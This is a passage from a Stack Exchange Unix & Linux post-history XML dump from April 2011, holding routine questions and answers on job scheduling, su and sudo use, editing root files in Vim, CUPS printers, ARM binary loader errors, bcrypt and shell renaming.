of the text?&#xD;&#xA;- How are the themes made?&#xD;&#xA; - Do they have a file in which follows a template?&#xD;&#xA;&#xD;&#xA;###So why exactly do I want to do this?&#xD;&#xA;I am planning to make a Debian-based, Canterbury-concept distribution in which I will use on my home computer, if the project gets good enough I may post it as a response to the April fools post they did with the downloads for the live CDs or a pre-installed version of the distribution. So with this system I want to customize it to look good even on the command line. I will host a Debian repository (locally) to host my custom packages to prevent Debian's packages from removing the look and feel with a safe-upgrade. My repository will contain the newest versions of Firefox-four and Gnome-three and some re-branding packages. As there are 5 distributions being the part of the Canterbury-concept-joke ttys 2-6 will be the logos with a description of what that distribution does for the project, while tty1 will contain information on the project its self and how it originated as an April fools joke.&#xD;&#xA;###Other questions:&#xD;&#xA;- Does anyone know how to get systemd to boot on Debian? (I followed the description on the wiki but with no luck)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;###Edit: Frame-buffer is what is being used, now how do i use it?&#xD;&#xA;    mplayer -vo fbdev google_main.mp4 # http://youtube.com/demo/google_main.mp4&#xD;&#xA;Mplayer is using frame-buffer to watch videos on a tty terminal. So how can I make a underlay? (opposite to overlay in which mplayer has done)" />
  <row Id="26631" PostHistoryTypeId="5" PostId="10724" RevisionGUID="30c7dc24-33b6-4e0b-adc8-e6360ac2e1cd" CreationDate="2011-04-10T05:14:04.913" UserId="1290" Comment="edited body" Text="You can make a named pipe with it.&#xD;&#xA;&#xD;&#xA;I use it with one program to read from it, and another one to write into it.&#xD;&#xA;&#xD;&#xA;Makes it easier to communicate between processes.&#xD;&#xA;&#xD;&#xA;Otherwise, you may create device files, for devices that aren't present.&#xD;&#xA;&#xD;&#xA;Also: http://publib.boulder.ibm.com/infocenter/aix/v6r1/index.jsp?topic=/com.ibm.aix.cmds/doc/aixcmds3/mknod.htm" />
  <row Id="26633" PostHistoryTypeId="2" PostId="10991" RevisionGUID="4f3ec95b-5694-496c-a5ae-8b98222a7cd9" CreationDate="2011-04-10T05:56:50.730" UserId="5307" Text="I need to compile gcc45 on my computer and that's a lenghty and resource-intensive process for my computer I'd prefer to have it do it while I sleep (at night).&#xD;&#xA;&#xD;&#xA;What's the closest thing to:&#xD;&#xA;&#xD;&#xA;    $ @2300 sudo port install gcc45&#xD;&#xA;" />
  <row Id="26634" PostHistoryTypeId="1" PostId="10991" RevisionGUID="4f3ec95b-5694-496c-a5ae-8b98222a7cd9" CreationDate="2011-04-10T05:56:50.730" UserId="5307" Text="How do I execute a script later?" />
  <row Id="26635" PostHistoryTypeId="3" PostId="10991" RevisionGUID="4f3ec95b-5694-496c-a5ae-8b98222a7cd9" CreationDate="2011-04-10T05:56:50.730" UserId="5307" Text="écommandölineàéinstallàéprocessàéschedulingà" />
  <row Id="26636" PostHistoryTypeId="2" PostId="10992" RevisionGUID="206c1a9a-bc87-40c6-b527-8649f028fffd" CreationDate="2011-04-10T05:58:31.227" UserId="5307" Text="on a mac:&#xD;&#xA;1. wrap the command in an executable script&#xD;&#xA;2. create an iCal event @2300 and choose as alarm 'run script'&#xD;&#xA;(3. leave the computer on at @2300)" />
  <row Id="26637" PostHistoryTypeId="2" PostId="10993" RevisionGUID="f29c4574-a117-4e29-8444-9feb1aa79fa7" CreationDate="2011-04-10T05:59:49.247" UserId="6446" Text="I cannot find any binary editor in v7 unix by reading volumn 1 of the manual.&#xD;&#xA;&#xD;&#xA;Is there any?&#xD;&#xA;" />
  <row Id="26638" PostHistoryTypeId="1" PostId="10993" RevisionGUID="f29c4574-a117-4e29-8444-9feb1aa79fa7" CreationDate="2011-04-10T05:59:49.247" UserId="6446" Text="Does research unix has any binary editor?" />
  <row Id="26639" PostHistoryTypeId="3" PostId="10993" RevisionGUID="f29c4574-a117-4e29-8444-9feb1aa79fa7" CreationDate="2011-04-10T05:59:49.247" UserId="6446" Text="éeditorsàébinaryà" />
  <row Id="26640" PostHistoryTypeId="25" PostId="10988" RevisionGUID="6af3c7da-f461-4840-8396-8c143dad1404" CreationDate="2011-04-10T06:09:05.473" Comment="http://twitter.com/#!/StackUnix/status/56961882053017600" />
  <row Id="26641" PostHistoryTypeId="5" PostId="10991" RevisionGUID="252f0de1-f050-41a6-99e3-73dc31e0b8de" CreationDate="2011-04-10T06:56:55.943" UserId="73" Comment="added 4 characters in body" Text="I need to compile gcc45 on my computer and that's a lengthy and resource-intensive process for my computer, so I'd prefer to have it do it while I sleep (at night).&#xD;&#xA;&#xD;&#xA;What's the closest thing to:&#xD;&#xA;&#xD;&#xA;    $ @2300 sudo port install gcc45&#xD;&#xA;" />
  <row Id="26642" PostHistoryTypeId="5" PostId="10992" RevisionGUID="5e570b07-7c07-456e-92af-f0700ed79bdb" CreationDate="2011-04-10T06:57:24.617" UserId="73" Comment="added 28 characters in body" Text="On a mac:&#xD;&#xA;&#xD;&#xA;1. Wrap the command in an executable script&#xD;&#xA;2. Create an iCal event @2300 and choose as alarm 'run script'&#xD;&#xA;3. Leave the computer on and at @2300 the script will execute" />
  <row Id="26643" PostHistoryTypeId="2" PostId="10994" RevisionGUID="530b85e8-3059-44c9-9fde-6f9243c5ff2c" CreationDate="2011-04-10T07:08:36.600" UserId="6449" Text="How can I switch one user to another in Freebsd?&#xD;&#xA;&#xD;&#xA;For examples, I am user david now and I want to change to user Bob.&#xD;&#xA;This is a personal OS for my study. not a server.&#xD;&#xA;I searched it, but only got sites about how to create new user.&#xD;&#xA;Thank you." />
  <row Id="26644" PostHistoryTypeId="1" PostId="10994" RevisionGUID="530b85e8-3059-44c9-9fde-6f9243c5ff2c" CreationDate="2011-04-10T07:08:36.600" UserId="6449" Text="How can I switch one user to another in Freebsd?" />
  <row Id="26645" PostHistoryTypeId="3" PostId="10994" RevisionGUID="530b85e8-3059-44c9-9fde-6f9243c5ff2c" CreationDate="2011-04-10T07:08:36.600" UserId="6449" Text="éfreebsdà" />
  <row Id="26646" PostHistoryTypeId="2" PostId="10995" RevisionGUID="ff489e0c-933b-4dd1-bcbd-d09789ec0945" CreationDate="2011-04-10T07:09:15.170" UserId="6450" Text="I had same issues with the kernel 2.6.38.2 and in order to make things done I did, as root:&#xD;&#xA;&#xD;&#xA;    aptitude purge virtualbox-ose virtualbox-ose-dkms&#xD;&#xA;    dpkg --list |grep &quot;^rc&quot; | awk '{print $2}' | xargs sudo dpkg --purge&#xD;&#xA;    locate -e virtualbox &#xD;&#xA;I removed all related files excerpt my ~/.VirtualBox&#xD;&#xA;&#xD;&#xA;then &#xD;&#xA;&#xD;&#xA;    - aptitude install virtualbox-ose virtualbox-ose-dkms&#xD;&#xA;&#xD;&#xA;since, I have a running Virtualbox-ose 4.0.2 with a kernel 2.6.38.2" />
  <row Id="26647" PostHistoryTypeId="2" PostId="10996" RevisionGUID="6084f76c-69e7-4832-85a7-15640d5b9e55" CreationDate="2011-04-10T07:53:35.273" UserId="250" Text="`su` can be used for this purpose. If you want to become user `bob` you would type:&#xD;&#xA;&#xD;&#xA;    su bob&#xD;&#xA;&#xD;&#xA;`su` will then ask for a password, which is `bob`'s password, not yours. When invoked without arguments it tries to become superuser (same as `su root`). You may have to add your user account to the `wheel` group, or [change some configuration][1] so that the normal user can use `su`.&#xD;&#xA;&#xD;&#xA;I usually do:&#xD;&#xA;&#xD;&#xA;    sudo su - bob&#xD;&#xA;&#xD;&#xA;so I won't need to know the password of the other user (Note: I'm a Linux user and I'm not sure how different BSD is).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.cyberciti.biz/tips/freebsd-becoming-super-user-su-or-enabling-su-access-to-user.html" />
  <row Id="26648" PostHistoryTypeId="2" PostId="10997" RevisionGUID="3da017b0-d244-4598-8f69-fe452cfc8002" CreationDate="2011-04-10T08:19:25.460" UserId="1027" Text="[/usr/ports/ports-mgmt/portmaster man page][1] has example how to do bulk port re-install.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.freebsd.org/cgi/man.cgi?query=portmaster&amp;manpath=FreeBSD%208.2-RELEASE%20and%20Ports&#xD;&#xA;" />
  <row Id="26649" PostHistoryTypeId="2" PostId="10998" RevisionGUID="5bc37990-1ed4-4cb4-a11f-c5a6e7bc15cc" CreationDate="2011-04-10T08:21:38.833" UserId="3082" Text="The traditional unix command `at` is usually used for this purpose. e.g. &#xD;&#xA;&#xD;&#xA;    at midnight &lt; sudo port install gcc45&#xD;&#xA;" />
  <row Id="26650" PostHistoryTypeId="5" PostId="10955" RevisionGUID="d35c05b4-1413-4dc3-8c5a-809c590b7814" CreationDate="2011-04-10T09:05:17.780" UserId="688" Comment="edited body" Text="Why not use gnome-search-tool, the old GNOME GUI search? It works pretty well, and you can select between full-text search and filename search.&#xD;&#xA;&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;It has a whole bunch of filtering options (more than anything I've seen yet). Here's all the options:&#xD;&#xA;&#xD;&#xA;![enter image description here][2]&#xD;&#xA;&#xD;&#xA;Note that it doesn't use an index, so full-text search is ridiculous slow, but the filtering helps eliminate that. It's also primitive in that it finds only text, so there won't be for example contents for PDFs, OOo docs, metadata (e.g. music genre, document author, video framerate), etc.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/wLKiq.png&#xD;&#xA;  [2]: http://i.imgur.com/sPuCV.png" />
  <row Id="26651" PostHistoryTypeId="25" PostId="10994" RevisionGUID="3d404d82-9636-41f9-bdb0-bc9af6a360cd" CreationDate="2011-04-10T09:09:05.637" Comment="http://twitter.com/#!/StackUnix/status/57007181760954368" />
  <row Id="26652" PostHistoryTypeId="2" PostId="10999" RevisionGUID="45d92156-512c-4c30-b006-9ce0bb7ad293" CreationDate="2011-04-10T09:13:39.033" UserId="6215" Text="When I use the command&#xD;&#xA;&#xD;&#xA;    $ sudo lpoptions -d Deskjet-F300-series&#xD;&#xA;&#xD;&#xA;it won't change the default printer.&#xD;&#xA;&#xD;&#xA;    $ lpstat -a&#xD;&#xA;    Deskjet-F300-series accepting requests since Sun 10 Apr 2011 11:02:12 AM CEST&#xD;&#xA;    Deskjet-F4200-series accepting requests since Mon 04 Apr 2011 03:39:17 PM CEST&#xD;&#xA;    Deskjet_F4200 accepting requests since Mon 04 Apr 2011 03:39:17 PM CEST&#xD;&#xA;    HP_Deskjet_F4200_series accepting requests since Mon 04 Apr 2011 03:39:17 PM CEST&#xD;&#xA;&#xD;&#xA;    $ lpstat -d&#xD;&#xA;    system default destination: HP_Deskjet_F4200_series&#xD;&#xA;&#xD;&#xA;    $ lpstat -p&#xD;&#xA;    printer Deskjet-F300-series is idle.  enabled since Sun 10 Apr 2011 11:02:12 AM CEST&#xD;&#xA;    	Printer is now online.&#xD;&#xA;    printer Deskjet-F4200-series disabled since Mon 04 Apr 2011 03:39:17 PM CEST -&#xD;&#xA;    	Unplugged or turned off&#xD;&#xA;    printer Deskjet_F4200 disabled since Mon 04 Apr 2011 03:39:17 PM CEST -&#xD;&#xA;    	Unplugged or turned off&#xD;&#xA;    printer HP_Deskjet_F4200_series disabled since Mon 04 Apr 2011 03:39:17 PM CEST -&#xD;&#xA;    	Unplugged or turned off&#xD;&#xA;&#xD;&#xA;Do you know where is the fault?&#xD;&#xA;&#xD;&#xA;Thank you&#xD;&#xA;" />
  <row Id="26653" PostHistoryTypeId="1" PostId="10999" RevisionGUID="45d92156-512c-4c30-b006-9ce0bb7ad293" CreationDate="2011-04-10T09:13:39.033" UserId="6215" Text="Unable to change the default printer" />
  <row Id="26654" PostHistoryTypeId="3" PostId="10999" RevisionGUID="45d92156-512c-4c30-b006-9ce0bb7ad293" CreationDate="2011-04-10T09:13:39.033" UserId="6215" Text="éprintingàécupsà" />
  <row Id="26655" PostHistoryTypeId="2" PostId="11000" RevisionGUID="a6ce33b1-643f-49b7-a028-8c7edc091480" CreationDate="2011-04-10T09:47:37.633" UserId="6216" Text="I've been using Optware to install packages on my ARM-based NAS for a while - the usual stuff like Transmission, Samba and others.  However, I'd been having problems with Transmission hanging not long after starting up.  I looked around for a solution for a while and finally discovered that the Optware feed I was using wasn't the one that had been set up for my NAS box.  I switched the feeds and reinstalled all the packages but now I'm getting the following error when I try and run anything that was reinstalled:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-none --&gt;&#xD;&#xA;&#xD;&#xA;    $ smbd&#xD;&#xA;    -bash: /opt/sbin/smbd: No such file or directory&#xD;&#xA;    $ transmission-daemon&#xD;&#xA;    -bash: /opt/bin/transmission-daemon: No such file or directory&#xD;&#xA;    $ unrar&#xD;&#xA;    -bash: /opt/bin/unrar: No such file or directory&#xD;&#xA;&#xD;&#xA;I checked `/opt/bin` and `/opt/sbin` and the executables are definitely there - so what's the real problem?&#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-none --&gt;&#xD;&#xA;&#xD;&#xA;    $ file /opt/bin/transmission-daemon&#xD;&#xA;    /opt/bin/transmission-daemon: ELF 32-bit LSB executable, ARM, version 1, dynamically linked (uses shared libs), stripped&#xD;&#xA;&#xD;&#xA;I'm not sure what any of that means but it proves the file *is* there, right?  Or is this something to do with the shared libs?" />
  <row Id="26656" PostHistoryTypeId="1" PostId="11000" RevisionGUID="a6ce33b1-643f-49b7-a028-8c7edc091480" CreationDate="2011-04-10T09:47:37.633" UserId="6216" Text="&quot;No such file or directory&quot; lies on Optware installed binaries" />
  <row Id="26657" PostHistoryTypeId="3" PostId="11000" RevisionGUID="a6ce33b1-643f-49b7-a028-8c7edc091480" CreationDate="2011-04-10T09:47:37.633" UserId="6216" Text="ébashàésoftwareöinstallationà" />
  <row Id="26658" PostHistoryTypeId="2" PostId="11001" RevisionGUID="75a43bc1-3139-4026-9075-51d7dbacea2f" CreationDate="2011-04-10T09:54:28.460" UserId="423" Text="I've been an Ubuntu user for quite a few years now. However, with the recent release of [Gnome 3][1], and with Ubuntu [not going to include it by default][2], instead including its own customizations (such as unity) -- I'm akin for something *vanilla* (I see this unity similar to HTC's &quot;Sense&quot; that they put on their Android phones, which I can't stand).&#xD;&#xA;&#xD;&#xA;So I'm looking for a distro to switch to. It should:&#xD;&#xA;&#xD;&#xA;* be as up to date as possible&#xD;&#xA;* be stable (I have to give credit to Ubuntu for *just working* in most situations), so no Archlinux :) -- I have tried it and, while nice, it seems to always crash like hell right when I need it most&#xD;&#xA;* ship packages as unmodified as possible.&#xD;&#xA;* have good support (large user base)&#xD;&#xA;&#xD;&#xA;I'm currently looking at Fedora, it seems to satisfy all my needs: up to date (the next release will include Gnome 3), stable, pretty vanilla as far as I can tell, good support (widely used).&#xD;&#xA;&#xD;&#xA;Any other suggestions?&#xD;&#xA;&#xD;&#xA;  [1]: http://gnome3.org/&#xD;&#xA;  [2]: http://www.omgubuntu.co.uk/2011/04/gnome-3-released-to-be-available-for-ubuntu-11-04-via-ppa/" />
  <row Id="26659" PostHistoryTypeId="1" PostId="11001" RevisionGUID="75a43bc1-3139-4026-9075-51d7dbacea2f" CreationDate="2011-04-10T09:54:28.460" UserId="423" Text="Which distro should I switch to?" />
  <row Id="26660" PostHistoryTypeId="3" PostId="11001" RevisionGUID="75a43bc1-3139-4026-9075-51d7dbacea2f" CreationDate="2011-04-10T09:54:28.460" UserId="423" Text="éubuntuàédistrosàédistributionöchoiceà" />
  <row Id="26661" PostHistoryTypeId="5" PostId="11000" RevisionGUID="d905fcea-3e90-4b8a-9d58-8b6cee3fd7c8" CreationDate="2011-04-10T10:01:46.440" UserId="6216" Comment="added 135 characters in body" Text="I've been using Optware to install packages on my ARM-based NAS for a while - the usual stuff like Transmission, Samba and others.  However, I'd been having problems with Transmission hanging not long after starting up.  I looked around for a solution for a while and finally discovered that the Optware feed I was using wasn't the one that had been set up for my NAS box.  I switched the feeds and reinstalled all the packages but now I'm getting the following error when I try and run anything that was reinstalled:&#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-none --&gt;&#xD;&#xA;&#xD;&#xA;    $ smbd&#xD;&#xA;    -bash: /opt/sbin/smbd: No such file or directory&#xD;&#xA;    $ transmission-daemon&#xD;&#xA;    -bash: /opt/bin/transmission-daemon: No such file or directory&#xD;&#xA;    $ unrar&#xD;&#xA;    -bash: /opt/bin/unrar: No such file or directory&#xD;&#xA;&#xD;&#xA;I checked `/opt/bin` and `/opt/sbin` and the executables are definitely there - so what's the real problem?&#xD;&#xA;&#xD;&#xA;&lt;!-- language: lang-none --&gt;&#xD;&#xA;&#xD;&#xA;    $ ldd /opt/bin/transmission-daemon&#xD;&#xA;    /usr/bin/ldd: line 116: /opt/bin/transmission-daemon: No such file or directory&#xD;&#xA;&#xD;&#xA;    $ file /opt/bin/transmission-daemon&#xD;&#xA;    /opt/bin/transmission-daemon: ELF 32-bit LSB executable, ARM, version 1, dynamically linked (uses shared libs), stripped&#xD;&#xA;&#xD;&#xA;    &#xD;&#xA;I'm not sure what any of that means but it proves the file *is* there, right?  Or is this something to do with the shared libs?&#xD;&#xA;" />
  <row Id="26662" PostHistoryTypeId="2" PostId="11002" RevisionGUID="a68720d1-9b07-419d-b16a-125c6d5dcffc" CreationDate="2011-04-10T10:18:45.443" UserId="688" Text="If you can stand a rolling release, use Debian Testing:&#xD;&#xA;&#xD;&#xA;* It provides a nice balance between up-to-dateness and stability. That's because packages typically live for 10 days in Unstable before automatically propagating to Testing, and it does so only when there's no 'release-critical' bug files against it in the meanwhile.&#xD;&#xA;* It's from the same family as Ubuntu, so you should feel at home (no need to adjust to another package manager).&#xD;&#xA;* It's common Debian practice to be in constant touch with their upstreams, so each patch you find is because it's pending upstream inclusion, or *it needs to be kept separate* (i.e. Debian specific), and I expect these to minimal (at least as compared to Ubuntu).&#xD;&#xA;* Oh, and Debian community is huge. Not like Ubuntu of course, but maybe comparable to Fedora." />
  <row Id="26663" PostHistoryTypeId="2" PostId="11003" RevisionGUID="17aa2308-440b-4209-aeab-cfb02b78a645" CreationDate="2011-04-10T10:25:15.890" UserId="1571" Text="I know the &quot;which IDE do you guys use&quot; question has been asked a million times. But I've never seen it asked in this context. What are some suggestions for an IDE when working on huge projects that encompass multiple languages and thousands of files.&#xD;&#xA;&#xD;&#xA;A good example is the android source. Not only is a good C/C++ IDE required for the kernel, but also Java and shell scripts. Is there anything that's built for this kind of project?&#xD;&#xA;&#xD;&#xA;What I normally use is KDevelop for C/C++. I love it, however, it seems to explode when using it for huge projects such as the linux kernel. Also it doesn't even do anything for Java or python.&#xD;&#xA;&#xD;&#xA;So what I'm basically looking for is suggestions for IDEs/setups (ie vim + scripts) for working with large projects, including the linux kernel itself." />
  <row Id="26664" PostHistoryTypeId="1" PostId="11003" RevisionGUID="17aa2308-440b-4209-aeab-cfb02b78a645" CreationDate="2011-04-10T10:25:15.890" UserId="1571" Text="IDE for large, multi-language projects (ie linux kernel)" />
  <row Id="26665" PostHistoryTypeId="3" PostId="11003" RevisionGUID="17aa2308-440b-4209-aeab-cfb02b78a645" CreationDate="2011-04-10T10:25:15.890" UserId="1571" Text="ékernelàédevelopmentàéideà" />
  <row Id="26666" PostHistoryTypeId="2" PostId="11004" RevisionGUID="41b43511-df40-4779-9d23-2460fbd80832" CreationDate="2011-04-10T10:41:07.500" UserId="2703" Text="Sometimes I start editing configuration files in `/etc` using Vim, but forget to use `sudo` to start Vim. The inevitable result then is that after finishing my edits I encounter the dreaded notice that I don't have the permission to save the file. &#xD;&#xA;&#xD;&#xA;Mostly the edits are small enough that I just exit Vim and do the whole thing again as root. I could of course save to a location I can write to and then copy as root, but that is also somewhat annoying.&#xD;&#xA;&#xD;&#xA;But I'm sure there is an easier way to become root or use `sudo` from inside Vim, without having to discard the changes. If the method would not rely on `sudo` being set up for the user that would be even better." />
  <row Id="26667" PostHistoryTypeId="1" PostId="11004" RevisionGUID="41b43511-df40-4779-9d23-2460fbd80832" CreationDate="2011-04-10T10:41:07.500" UserId="2703" Text="Becoming root from inside Vim" />
  <row Id="26668" PostHistoryTypeId="3" PostId="11004" RevisionGUID="41b43511-df40-4779-9d23-2460fbd80832" CreationDate="2011-04-10T10:41:07.500" UserId="2703" Text="évimàésudoàérootà" />
  <row Id="26669" PostHistoryTypeId="2" PostId="11005" RevisionGUID="06ffc35f-d003-434e-8396-8636ae0b41d4" CreationDate="2011-04-10T10:57:30.713" UserId="5664" Text="http://unix.stackexchange.com/questions/10326/does-openbsd-use-bcrypt-by-default&#xD;&#xA;&#xD;&#xA;Why doesn't every modern Linux Distribution use BCRYPT?&#xD;&#xA;&#xD;&#xA;http://codahale.com/how-to-safely-store-a-password/&#xD;&#xA;&#xD;&#xA;https://secure.wikimedia.org/wikipedia/en/wiki/Bcrypt&#xD;&#xA;&#xD;&#xA;WHY????" />
  <row Id="26670" PostHistoryTypeId="1" PostId="11005" RevisionGUID="06ffc35f-d003-434e-8396-8636ae0b41d4" CreationDate="2011-04-10T10:57:30.713" UserId="5664" Text="BCRYPT - Why doesn't the Linux Distributions use it by default?" />
  <row Id="26671" PostHistoryTypeId="3" PostId="11005" RevisionGUID="06ffc35f-d003-434e-8396-8636ae0b41d4" CreationDate="2011-04-10T10:57:30.713" UserId="5664" Text="élinuxàésecurityà" />
  <row Id="26672" PostHistoryTypeId="2" PostId="11006" RevisionGUID="ed29a2ad-0707-4a7a-bed2-338dbb5edb8e" CreationDate="2011-04-10T11:01:02.490" UserId="6167" Text="sudo cannot change the effective user of an existing process, it always creates a new process that has the elevated privileges and the original shell is unaffected. This is a fundamental of UNIX design. I most often just save the file to /tmp as a workaround. If you really want to save it directly you might try using a feature of Vim where it can pipe a file to another process. Try saving with this command:&#xD;&#xA;&#xD;&#xA;    :w !sudo dd of=/path/to/root/only/file&#xD;&#xA;&#xD;&#xA;This is an untested solution." />
  <row Id="26673" PostHistoryTypeId="4" PostId="10993" RevisionGUID="d1709627-8cd5-4a28-95af-13149ec46c5c" CreationDate="2011-04-10T11:01:57.730" UserId="6446" Comment="fix syntax error" Text="Does research unix have any binary editor?" />
  <row Id="26675" PostHistoryTypeId="2" PostId="11008" RevisionGUID="c7d15070-f9d6-4bde-97dc-de25907b640f" CreationDate="2011-04-10T11:09:47.330" UserId="885" Text="When you fail to execute a file that depends on a “loader”, the error you get may refer to the loader rather than the file you're executing.&#xD;&#xA;&#xD;&#xA;* The loader of a dynamically-linked native executable is the part of the system that's responsible for loading dynamic libraries. It's something like `/lib/ld.so` or `/lib/ld-linux.so.2`, and should be an executable file.&#xD;&#xA;* The loader of a script is the program mentioned on the shebang line, e.g. `/bin/sh` for a script that begins with `#!/bin/sh`.&#xD;&#xA;&#xD;&#xA;The error message is rather misleading in not indicating that the loader is the problem. Unfortunately, fixing this would be hard because the kernel interface only has room for reporting a numeric error code, not for also indicating that the error in fact concerns a different file. Some shells do the work themselves for scripts (reading the `#!` line on the script and re-working out the error condition), but none that I've seen attempt to do the same for native binaries.&#xD;&#xA;&#xD;&#xA;`ldd` isn't working on the binaries either because it works by setting some special environment variables and then running the program, letting the loader do the work. `strace` wouldn't provide any meaningful information either, since it wouldn't report more than what the kernel reports, and as we've seen the kernel can't report everything it knows.&#xD;&#xA;&#xD;&#xA;Here your reinstalled executables (`smbd`, `transmission-daemon`, etc) are requesting a loader that isn't present on your system. So your new feed isn't right for your system either.&#xD;&#xA;&#xD;&#xA;This situation often arises when you try to run a binary for the right system (or family of systems) and superarchitecture but the wrong subarchitecture. Here you have ELF binaries on a system that expects ELF binaries, so the kernel loads them just fine. They are ARM binaries running on an ARM processor, so the instructions make sense and get the program to the point where it can look for its loader. But it's the wrong loader.&#xD;&#xA;&#xD;&#xA;Now I'm getting into conjecture, but I suspect your new feed is for the wrong ARM [ABI](http://en.wikipedia.org/wiki/Application_binary_interface). The ABI is the common language for making inter-procedure calls, and in particular for calling library functions. On some processor architectures, there are several possible ABI choices, and you need to pick one and use it consistently. There are two ARM ABIs with Linux distributions out there: the traditional `arm-elf` ABI, [and](http://embdev.net/topic/129737) the newer [EABI (`arm-eabi`)](http://wiki.debian.org/ArmEabiPort). You can't mix ABIs on the same system, so you need to find a source of packages for your ABI (or reinstall your system for a different ABI).&#xD;&#xA;" />
  <row Id="26676" PostHistoryTypeId="6" PostId="11000" RevisionGUID="dfbdcc99-bdc1-4cab-989c-e1dc80e4b598" CreationDate="2011-04-10T11:10:07.047" UserId="885" Comment="edited tags" Text="ésoftwareöinstallationàéexecutableàéarmà" />
  <row Id="26677" PostHistoryTypeId="2" PostId="11009" RevisionGUID="9abbcb29-3206-416c-ab90-56eefc873a96" CreationDate="2011-04-10T11:13:07.390" UserId="885" Text="Call `sudoedit` to edit files as root.&#xD;&#xA;&#xD;&#xA;Think of the inconvenience when calling `vim` directly as a warning that you're being too casual in doing something potentially dangerous.&#xD;&#xA;" />
  <row Id="26678" PostHistoryTypeId="6" PostId="10993" RevisionGUID="f2b4eb01-e01a-48e3-8036-1fda5a87f257" CreationDate="2011-04-10T11:16:38.293" UserId="885" Comment="edited tags" Text="éeditorsàéhistoryàébinaryà" />
  <row Id="26679" PostHistoryTypeId="2" PostId="11010" RevisionGUID="dc1b098d-63b0-4d43-8c87-c440924004ce" CreationDate="2011-04-10T11:22:22.643" UserId="688" Text="It's probably the case that it got removed in the latest Debian Squeeze kernel (which is where the problem was), and it's now put back in 2.6.38. I say that because it was working way before Squeeze was released (and I only use pristine Debian kernel packages)." />
  <row Id="26680" PostHistoryTypeId="2" PostId="11011" RevisionGUID="251e7700-c84d-49a2-95c0-4d96e0112e74" CreationDate="2011-04-10T11:26:41.763" UserId="6215" Text="I'd like to rename files with extension .flac.mp3 to extension .mp3.&#xD;&#xA;I used the following command&#xD;&#xA;&#xD;&#xA;    $ for i in *; do mv $i `echo $i | sed 's/.flac//g'`; done&#xD;&#xA;This writes for every file the following error message.&#xD;&#xA;&#xD;&#xA;    mv: target `file.mp3' is not a directory&#xD;&#xA;&#xD;&#xA;Where am I doing mistake?&#xD;&#xA;&#xD;&#xA;thank you" />
  <row Id="26681" PostHistoryTypeId="1" PostId="11011" RevisionGUID="251e7700-c84d-49a2-95c0-4d96e0112e74" CreationDate="2011-04-10T11:26:41.763" UserId="6215" Text="Multiple renaming files" />
  <row Id="26682" PostHistoryTypeId="3" PostId="11011" RevisionGUID="251e7700-c84d-49a2-95c0-4d96e0112e74" CreationDate="2011-04-10T11:26:41.763" UserId="6215" Text="éshellàécommandölineàéshellöscriptàérenameà" />
  <row Id="26683" PostHistoryTypeId="2" PostId="11012" RevisionGUID="6f288253-302f-448f-9776-f54b4a2e8bc8" CreationDate="2011-04-10T11:33:22.793" UserId="885" Text="`sudo lpoptions -d` sets the system-wide default printer (by editing `/etc/cups/lpoptions`). You may also have a per-user default printer, which overrides the system-level setting. The per-user default is stored in `~/.cups/lpoptions`; you can change it with `lpoptions -d`.&#xD;&#xA;" />
  <row Id="26684" PostHistoryTypeId="5" PostId="7817" RevisionGUID="ca8b87ed-af23-4803-b0be-579eafaec19a" CreationDate="2011-04-10T11:36:50.913" UserId="688" Comment="make more generic; edited title" Text="I know about `lsmod`, but how do I figure out which driver does what?" />
  <row Id="26685" PostHistoryTypeId="4" PostId="7817" RevisionGUID="ca8b87ed-af23-4803-b0be-579eafaec19a" CreationDate="2011-04-10T11:36:50.913" UserId="688" Comment="make more generic; edited title" Text="How to find out which Wi-Fi driver is installed?" />
  <row Id="26686" PostHistoryTypeId="6" PostId="7817" RevisionGUID="ca8b87ed-af23-4803-b0be-579eafaec19a" CreationDate="2011-04-10T11:36:50.913" UserId="688" Comment="make more generic; edited title" Text="élinuxàédriversàéwirelessàéwifià" />
  <row Id="26687" PostHistoryTypeId="2" PostId="11013" RevisionGUID="cd87e691-57b8-47a8-9a41-2d4163001005" CreationDate="2011-04-10T11:37:29.373" UserId="6454" Text="I have some SATA/IDE hard drive enclosures that I use for backups. The drives for formatted with VFAT, since I need to be able to share them with Windows and OS/X machines.&#xD;&#xA;&#xD;&#xA;The backup scripts pipe the output through [vdmfec][1] to provide error correction for the files. (I started doing this when I found that some old backup files were damaged.)&#xD;&#xA;&#xD;&#xA;The example on the [manpage][1] refers to 1.44MB &quot;floppy&quot; discs.&#xD;&#xA;&#xD;&#xA;So my question is: is it worth using vdmfec for hard drives (as I've heard that newer ones have built-in error correction)? And if so, should I be using different settings than the defaults?&#xD;&#xA;&#xD;&#xA;Also: are there better tools for Linux than vdmfec for error correction?&#xD;&#xA;&#xD;&#xA;  [1]: http://manpages.ubuntu.com/manpages/natty/man1/vdmfec.1.html" />
  <row Id="26688" PostHistoryTypeId="1" PostId="11013" RevisionGUID="cd87e691-57b8-47a8-9a41-2d4163001005" CreationDate="2011-04-10T11:37:29.373" UserId="6454" Text="Is it worth using vdmfec for backups to external SATA/IDE hard drives?" />
  <row Id="26689" PostHistoryTypeId="3" PostId="11013" RevisionGUID="cd87e691-57b8-47a8-9a41-2d4163001005" CreationDate="2011-04-10T11:37:29.373" UserId="6454" Text="ébackupàéhardödiskà" />
  <row Id="26690" PostHistoryTypeId="2" PostId="11014" RevisionGUID="bd429b19-d620-49eb-93ed-d4f51c7da804" CreationDate="2011-04-10T11:42:40.307" UserId="885" Text="Maybe these files have names containing whitespace.&#xD;&#xA;&#xD;&#xA;Simple rule of shell programming: **Always use double quotes around variable and command substitutions** (unless you know why you need to leave them out). So:&#xD;&#xA;&#xD;&#xA;    for i in *; do mv &quot;$i&quot; &quot;$(echo &quot;$i&quot; | sed 's/.flac//g')&quot;; done&#xD;&#xA;&#xD;&#xA;While you're at it, there are a few things you could do better in that command, even if they aren't the source of your problem. You should run your command only on the files it's supposed to affect, not every file in the current directory. The sed regexp `.flac` could match something other than the extension. The command may also fail if you have a file name that begins with a `-` or that contains a backslash (with some versions of `echo`).&#xD;&#xA;&#xD;&#xA;    for i in *.flac.mp3; do mv -- &quot;$i&quot; &quot;$(echo &quot;$i&quot; | sed 's/\.flac\.mp3$/\.mp3/')&quot;; 